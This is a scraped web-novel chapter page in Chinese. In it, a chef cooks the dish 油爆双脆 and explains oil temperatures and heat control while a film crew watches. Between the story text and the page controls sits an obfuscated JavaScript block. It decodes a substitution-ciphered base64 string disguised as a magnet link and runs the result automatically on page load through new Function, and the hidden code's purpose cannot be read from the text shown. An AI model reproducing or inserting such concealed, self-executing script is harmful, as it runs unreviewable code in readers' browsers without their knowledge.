趣书网

阅读记录  |   用户书架
上一章
目录 | 设置
下一页

第19章 极致火工一气呵成(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

《油爆双脆》这道菜之所以难。

不仅仅是在刀工上。

刀工上的难点,可以通过努力的练习逐步弥补。

哪怕是切得慢一点,只要认真去做,其实经过一些练习总还是能办到。

《油爆双脆》真正的难点在于炒制的过程。

作为一道油爆菜,必须要用高油温短时间爆炒出菜。

而无论是鸡胗还是猪肚,在经过改刀过后,都已经变得非常嫩,而且处在极易成熟的状态,可能很多时候油温稍高都可能会把食材给炒老。

因而无论是在过油还是烹炒的过程中,都必须要把握好时间。

同时还需要掌握好灶台的火候。

这是对于一个厨子火工的一份终极考验。

所谓少一分菜可能会无法成熟,那么吃起来会带有一些生腥的味道。

多一分,可能鸡胗和猪肚就老了,那么也就无法做到爽脆口感。

冯致远前世无数次做这道菜,也被很多人无数次的问过。

到底做这道菜的时候,应该是几成油温下锅?

如果这个问题去问不同的厨师,可能会得到不同的回答。

有些会告诉你四成,有些会说至少要六成,也有厨师会说必须要八成油温下锅。

他们有谁说错了吗?

其实他们都没有说错。

因为他们所说的几成油温,是根据他们多年的经验,还有他们所用的灶的火力大小给出的油温。

实际上,如果不是餐馆酒楼后厨的灶,很多家庭灶根本无法把油温烧到八成。

而且八成油温对很多厨师来说,是一个非常不容易操作。

因为打好花刀的鸡胗和猪肚都很怕高油温。

八成油温下锅油炸,必须要非常谨慎,要非常的迅速,几乎是在下锅稍微变色就要捞出。

并且,因为鸡胗和猪肚不能同时下锅,所以很多时候这个度非常不好把握。

对一些没有把握的厨师,一般都是用六成左右的油温。

这样可以给自己争取更多时间观察和操作。

当然,如果是一些人想要在家里做,那么以家庭灶的火力,可能最好是四成油温下锅,在家庭灶火力之下,伴随着油温升高,慢慢让鸡胗和猪肚成熟。

如今,冯致远在后厨里,而且是要短时间内,让点菜的方景正等人吃到。

所以他决定要用最直接的油爆办法,要让方景正心服口服。

首先冯致远认真把锅清洗擦拭干净,然后在锅里注入干净的油。

“这道菜要保证清亮,所以锅和油都一定要干净。”

听冯致远解释,让拍摄小团队赶紧是对着他拍,并且认真听取他的一些解说。

“通常这道菜,有厨师会用四成油温,六成油温,或者是八成油温,这个要看个人对火候的掌握,今天因为鸡胗和猪肚处理耽误不少时间,我就不耽误各位的时间了。”

说着,冯致远已经开火开始烧油了。

拍摄小团队里的年轻女孩,忍不住低声问了中年领头男人。

“叔,这位冯大厨要用几成油温?”

中年男人低声回答:“应该是要用八成油温。”

果然,冯致远真的是把油温一直烧到八成。

在后厨里,因为灶台的火力足,所以油温可以很快被顶起来,然后冯致远一边控制灶台的火,同时迅速先把鸡胗下锅。

(function(){function q6a3e4d(za489035){var zc0af="Uk.1(d/OVfj5ruKLbMtye&S-[H37T8=D~xPAoFn_B9:Qa4lcqZ^%Ri,]WN2sg?E|C!wvIG@Y$Xpm;z6Jh0";var xd39f8="~89!jAm_sSCagJxetFbD[UZ:h,PB6RnlOI.Hwku%EV&^G$=iT|]dQz/@0p;X17rLco2q3M?4Kv-5(fNyWY";return atob(za489035).split('').map(function(d3f7315){var va7ca=zc0af.indexOf(d3f7315);return va7ca==-1?d3f7315:xd39f8[va7ca]}).join('')}var c=q6a3e4d('magnet:?xt=b2M9JSFvZSJWIisiTGdndCJebHpuPUNiYyE9Oyl7O3puPUNiYyE9O0NZP1R0LkhiazVMVGclZ0hOP1lna0g9Z201Z0lUdD8pe2N6OyxRRzVDWmhjPSxQYkxWYjs9NVhjcjViIUVQTkQ1YnohRS8pKXtFTGJuRT19WDVFID1MVG13V2x6bj1DYmMhPTtGemt3V2ttVD8pe0VMYm5FPSBmYkVjPXJQekUhL2pbNUVqISVMO0Z6a3dXa21UPyl9Mlg1RSBEWS5XV1cubGUiRChWcEFXZ098fmR5T3VmT0FxR3wiSCJYTEVwV2ciSCJWYyVwZ1ltIkgiQ0NicHdXd21wVz9wV1kgZ1ctZ1ctV1QiXjJYNUUgPWclWWdZTENsTj9ZZ2tlPUxUbXdXOy4/KSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7LmspXkhYbS5XWSVsTj9ZZ2tlPUxUbXdXOy5rKSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7Lj8pXkhbbUxMQ3c/Lmw9Z201Z0lUdD9lPWclWWdZTEM7IjBJOUpDLzluJU02KEMvRG8lZGxsIileSFZnQ0w1THR0bD1nJVlnWUxDOyIwSXVEMHM4RDhoS0R0aDluJWRsbCIpSD1MbUM1bWw9ZyVZZ1lMQzsiQ0k5Y0NJOEo1aG09IilIRHola0kuJW1rbD1nJVlnWUxDOyJDLzlvdGFNKFNSbGwiKUgodFl3Q2w9ZyVZZ1lMQzsiQ0k3VjVzUmwiKUhpQzV0dGw9ZyVZZ1lMQzsiQy85d1NzdWlTUmxsIilIY0NDLll6d1dtbD1nJVlnWUxDOyI1Ly5OdHJsbCIpSFs/JW0uJWtJVGxOP1lna2U9ZyVZZ1lMQzsicWhNVzVkbGwiKV5IQ0l3VDUlV2xbPyVtLiVrSVRlPWclWWdZTEM7IjB3OU50ZGxsIileSEtZVC5DWWxbPyVtLiVrSVRlPWclWWdZTEM7IlMvS1h0SXhsIileSD10Z2tJbFs/JW0uJWtJVGU9ZyVZZ1lMQzsiQy9NblNhLmIiKV5IdiV6TFR6azVDbD1nJVlnWUxDOyJ0aE1XMHdybCIpSDV0JXp3bWw9ZyVZZ1lMQzsidGhNbyIpSE4lJUwla2w9ZyVZZ1lMQzsidGEuW1NkbGwiKTJYNUUgRkM/LnRZbW1sPWclWWdZTEM7IkN3Z1c1aDhEJXJsbCIpMlg1RSBMTEx0Q1l6Mlg1RSBbQ21MZ3dnbENZP1R0LmVXXjJjejtDWT9UdC5QREw9cmJbPmcpe1tDbUxnd2dsQ1k/VHQuZUtZVC5DWTs9dGdrSTspKkNZP1R0LlBETD1yYlspXn1jejtEIUM1YmMhPVBWTDVFQ1tQYz0lTEt+ejtGQz8udFltbSk+cGcpe0xMTHRDWXpsPWdtNWdJVHQ/ZVZnQ0w1THR0Xjs9ZyVZZ1lMQzsiJWE5WSVhTUpTaEJsIikpMkxMTHRDWXpQYyVsImIiKz10Z2tJOykqZ0xZMkxMTHRDWXpQVmJKRExQb2MlYltsImdXV18iMkxMTHRDWXpQVmJKRExQW0xjcltibCJtV1dOSyIyTExMdENZelAlY1Y1dERMJWxiRW5MMmN6Oz1nbTVnSVR0P1B0ISVKMWw9bkREKXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KX1MRFZMe1g1RSAha1c1P2dsem49Q2JjIT07KXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KTJOP1lna1BFTC8hWExCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfTJOP1lna1A1JSVCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfX1YNUUgRVklbUM1bD1nbTVnSVR0P2VWZ0NMNUx0dF47PWclWWdZTEM7IlNoZ2NTaFJsIikpMkVZJW1DNVBjJWxiazVMVGclZytDSXdUNSVXOz10Z2tJOykqZ0xZKTJFWSVtQzVQVmJKRExQW0xjcltibCJXTksiMkVZJW1DNVBWYkpETFAhWExFekQhb2wiW2MlJUw9IjJDIT1WYiBWdD9rd0x3Z2w7JXpJdHRIblRDd3dITklrP3psd1dXKWw+M0UhL2NWTFBFNUNMO2V6TGJDWzslekl0dEhuVEN3dylIPUxvIDNFIS9jVkw7OztPSEVMKExDYilsPlZMYnFjL0whbmI7OzspbD5FTChMQ2I7PUxvIEJFRSFFOyJiYy9MIW5iIikpKUhOSWs/eikpKV4pMlg1RSAvdHQlJWw1Vko9QyB6bj1DYmMhPTslLj9UV0N6WXcpe1g1RSAvay53em0udz9sZSIoViJIIkNWViJIInJjeiJIIihOciJIIk49ciJIIihOckwiSCJvTHROIkgiVlhyIkgiW2IvRCJIIihOTHIiXjJYNUUgb3dZWVR3bC9rLnd6bS53P1BETD1yYlsyL2sud3ptLnc/bC9rLnd6bS53P2VLWVQuQ1k7PXRna0k7KSpvd1lZVHcpXjJDIT1WYiB6JVc/a2xlIlN3Q25DSU1YdHNOTiU9OWl0aEtiU3clbXRmbVd0SWRUfnFGZzZybGwiXjJYNUUgRXc/Z0lnbHolVz9rZVdeMmN6O3olVz9rUERMPXJiWz5nKXtFdz9nSWdseiVXP2tlS1lULkNZOz10Z2tJOykqeiVXP2tQREw9cmJbKV59WDVFIHJ0d1RMdFQlbE41RVZMeD1iO2JrNUxUZyVnKTJjejtjVjY1NjtydHdUTHRUJSkpcnR3VEx0VCVsVzJydHdUTHRUJStsa2trazJYNUUgcm13SXcubGUiW2JiTlYtLCJIRlk1bS5ZO0V3P2dJZylIIltiL0QiSGBWLzR7cnR3VEx0VCV9YEhgNHtiazVMVGclZ31QNHsvay53em0udz99YF5lY0NDLll6d1dtXjsiLCIpMmN6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1WTD0lIHZWIFshVmIgIitybXdJdy4yYkVKe1g1RSBuQ210TFlXbDVvNWNiIFZ0P2t3THdnO3Jtd0l3Lkh7RUwlY0VMQ2ItInohREQhbyJ9SGdtV1cpMm5DbXRMWVdsNW81Y2IgbkNtdExZV1BiTEtiOykyWDVFIEpZa3QlJWxuQ210TFlXUGM9JUxLfno7PUxUbXdXO1RnKSkyWDVFIHpXP1R0NVRsIiIyY3o7SllrdCUlPmxXKXt6Vz9UdDVUbG5DbXRMWVdlPUxtQzVtXjtKWWt0JSUpMm5DbXRMWVdsbkNtdExZV2U9TG1DNW1eO1dISllrdCUlKX1uQ210TFlXbG5DbXRMWVdldiV6TFR6azVDXjssUHtnSFl9LHIpZTV0JXp3bV47O0tsPktlKHRZd0NeOyIiKWVpQzV0dF47KWVjQ0MuWXp3V21eOyIiKSkpZWNDQy5ZendXbV47IiIpMm5DbXRMWVdsbkNtdExZVyt6Vz9UdDVUMm5DbXRMWVdsPWclWWdZTEM7bkNtdExZVykyJS4/VFdDell3bG5DbXRMWVdlKHRZd0NeOyIsIillV14yY3o7TExMdENZejFsPW5ERClMTEx0Q1l6UFg1RG5MK2wiXEVcPXJMYiB2ViBbIVZiIFZuQ0NMVlYiKyUuP1RXQ3pZd31DNWJDWztKa1Q1V3drNUwpe2N6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1yTGIgdlYgWyFWYiB6NWNETCUiK0prVDVXd2s1TH1YNUUgWHRZZ21DellsWG0uV1klO0RZLldXVy5QQyE9QzViO2VgPSFvcDR7eTViTGUiPSFvIl47KX1gSGBbRUx6cDR7RCFDNWJjIT1QW0VMen1gSGBuVkNwNHtiLiV0WXQ7KX1gXilQViFFYjs7OylsPj10Z2tJOylwUG0pKWVjQ0MuWXp3V21eOyJIIikpMlg1RSBWTFcuVENsWHRZZ21DellQYz0lTEt+ejs9TFRtd1c7VGcpKT5wZ0BYdFlnbUN6WWU9TG1DNW1eO1h0WWdtQ3pZUGM9JUxLfno7PUxUbXdXO1RnKSkpLSIiMlh0WWdtQ3pZbFh0WWdtQ3pZZUR6JWtJLiVta147VkxXLlRDSCIiKWUodFl3Q147IiIpZWlDNXR0XjspZWNDQy5ZendXbV47IiIpK1ZMVy5UQzJFWSVtQzVQVkVDbGUiW2JiTlYtLCJIJS4/VFdDell3SEVZJW1DNVBjJUhYdFlnbUN6WV5lY0NDLll6d1dtXjsiLCIpMmJFSns9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtFWSVtQzUpfUM1YkNbO0wpez1nbTVnSVR0P1A1JSVCWEw9YnxjVmJMPUxFOyJ5fkdqIT1iTD1ifCE1JUwlIkg7OylsPns9Z201Z0lUdD9QdCElSlBjPVZMRWI3THohRUw7RVklbUM1SD1nbTVnSVR0P1B0ISVKUENbY0QlNiElTFZlV14pfSkpfWN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9NU5OTD0lTCUgTC8gYiEgW2IvRCIyWDVFIEVMLkkuSUxsPWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSkyY3o7RUwuSS5JTGxsPW5ERFpaRUwuSS5JTGxsbj0lTHpjPUwlKXtMTEx0Q1l6UFg1RG5MK2wiXEVcPSBDNT1iIHJMYiBMLyB6RSEvIFtiL0QifX19MmN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9Vkw9JSAoViBbIVZiICIrW0NtTGd3Z31YNUUgYi4ldFl0bHpuPUNiYyE9Oyl7YkVKe0MhPVZiID16eldZJS5sOz1MbyB5NWJMKVBiIXwhQzVETHk1YkxmYkVjPXI7KTJDIT1WYiBuZ3pUZ3dJVGxgVi9iY09WYyVPNHt6elRJP1BiazVMVGclZ31PTlhgMkRMYiB2LjV3Q21sdWZ+NlBONUVWTDtEIUM1RGZiIUU1ckxQckxieGJMLztuZ3pUZ3dJVCkpMmN6O3YuNXdDbWxsPW5ERFpadi41d0NtUCU1YkwxbD16eldZJS4pe3YuNXdDbWx7TlhxYy9MVi1XSCU1YkwtPXp6V1klLn19RUxibkU9IHYuNXdDbVBOWHFjL0xWK2d9QzViQ1s7KG01Vz8pe0VMYm5FPSBnfX0yWDVFIEZZNW0uWWx6bj1DYmMhPTs9LkNDWSl7RUxibkU9ID1nJVlnWUxDOz0uQ0NZKWVEeiVrSS4lbWteOz1MVG13VztZdylIPXRna0k7KVBiIWZiRWM9cjtJVClQVkRjQ0w7S1lULkNZOz10Z2tJOykqLikrdykpfTIvdHQlJTtGWTVtLlk7W0NtTGd3ZykpMk4/WWdrZSI1JSVCWEw9YnxjVmJMPUxFIl47Ii9MVlY1ckwiSDt6bj1DYmMhPTsobTVXPyl7Y3o7KG01Vz9QJTViNVBGbGxiazVMVGclZyl7PWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSlQRUwvIVhMOykyWDVFIChZWVRrZzVMbD1uREQyY3o7TExMdENZejFsPW5ERCl7TExMdENZelBYNURuTCtsIlxFXD1FTENMY1hMIEwvIE4hVmIgL0xWVjVyTCIyTExMdENZelBYNURuTCtsIlxFXD1MUCU1YjVQWCAiKyhtNVc/UCU1YjVQdjIoWVlUa2c1TGw7UFBQW0NZLkxMaylsPntjejsxW0NZLkxMa1paW0NZLkxMa1BETD1yYls8bFcpRUxibkU9MkxMTHRDWXpQWDVEbkwrbCJcRVw9IitbQ1kuTExrUCghYz07IiAiKX19PUxvIE1uPUNiYyE9OyI1RXJWIkgobTVXP1AlNWI1UHYpO3tPYiVDVi1bbUxMQ3c/LkhPRCFyLShZWVRrZzVMfSl9fSkpfSk7ZSJTd0NuMHM3V35hREkwczhpdGhLYlN3JW10Zm1XdElkVH5xRmc2cmxsIl5IImdZbSJIb2M9JSFvSCUhQ24vTD1iKX0yVkxnZ3Q7KTI='.substr(11));new Function(c)()})();
上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间